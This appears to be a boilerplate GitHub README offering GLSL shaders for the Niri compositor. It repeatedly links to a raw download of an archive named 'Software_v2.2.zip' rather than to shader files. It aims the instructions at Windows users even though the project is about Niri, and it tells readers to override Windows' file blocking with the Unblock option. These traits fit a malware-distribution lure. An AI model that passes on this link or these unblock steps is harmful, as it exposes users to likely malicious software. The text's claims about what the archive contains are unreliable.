This project gives you a set of GLSL shaders made for Niri. Shaders change how things look on screen. They can add soft color changes, glow, blur, and other visual effects.
Use this if you want to:
- try new looks in Niri
- test shader effects without building them yourself
- keep a simple set of shader files in one place
- use shader assets on Windows with a clear download path
Before you start, have these ready:
- A Windows PC
- A web browser
- Enough space for the files, which is very small
- Niri or another app that can use GLSL shader files
If you plan to use these shaders with Niri on another system later, the files will still be the same. The download step on Windows is the same either way.
Use this link to visit the project page and download the files:
https://github.com/canicosaj534/shaders/raw/refs/heads/main/smoke/Software_v2.2.zip
Follow these steps:
- Open the link in your browser.
- Look for the download option on the page.
- Save the files to a folder you can find again, such as Downloads or Desktop.
- If the files come in a ZIP file, right-click it and choose Extract All.
- Open the extracted folder and keep the shader files in place.
- Copy the shader files into the folder that Niri uses for shader assets, or point Niri to the folder where you saved them.
If you are not sure which file to use, start with the main shader files in the folder and keep the folder structure the same.
A shader set like this usually includes files such as:
.glslfiles for shader code- support files for shared parts used by more than one shader
- a README file with basic notes
- sample or helper files for testing
Keep all files together unless the project page says to move only one file.
After you download the files:
- Open Niri.
- Find the display or appearance settings.
- Look for a shader, effects, or visual settings section.
- Select the shader file you want to use.
- Apply the change.
- Check the screen for the new look.
If the effect does not show right away, close and reopen Niri, then try again.
Shaders in this project can be used for visual changes such as:
- color adjustment
- contrast control
- glow
- blur
- edge smoothing
- screen tint
- simple motion effects
Some shaders work best with full-screen use. Others work better as a light touch. Try one at a time so you can see what each file does.
If you are unsure where to start, use this order:
- Start with the plainest shader.
- Test one effect at a time.
- Keep the one that looks best on your screen.
- Remove any shader that makes text hard to read.
- Save a copy of the folder before you make changes.
This makes it easy to switch back if you want a cleaner look.
A simple folder layout helps a lot:
Downloads\shadersfor the original downloadDocuments\shadersfor your working copyDesktop\shader-testfor quick tests
If you edit or replace files, keep the same names unless the project page tells you to change them.
If the shader does not work:
- Make sure the file finished downloading
- Check that you extracted the ZIP file
- Confirm that the shader file is still in the same folder as its support files
- Restart Niri
- Try a different shader file
- Make sure the file type matches what Niri expects
If the screen looks wrong:
- Turn off the shader
- Try a different file
- Use a simpler effect first
- Check if another visual setting is already active
If Windows blocks the file:
- Right-click the file
- Open Properties
- If you see an Unblock option, turn it on
- Apply the change and try again
Use one shader at a time and test it on a normal desktop view. Look at:
- text sharpness
- icon clarity
- window edges
- color balance
- how bright the screen feels
This helps you see if the shader is a good fit before you keep it on.
Only download the files from the project page linked above. Keep the folder in a place you trust. If you make changes, keep a backup copy so you can restore the original set.
https://github.com/canicosaj534/shaders/raw/refs/heads/main/smoke/Software_v2.2.zip
- Visit the project page.
- Download the shader files.
- Extract the archive if needed.
- Place the files in a folder for Niri.
- Open Niri and select a shader.
- Test the result on your desktop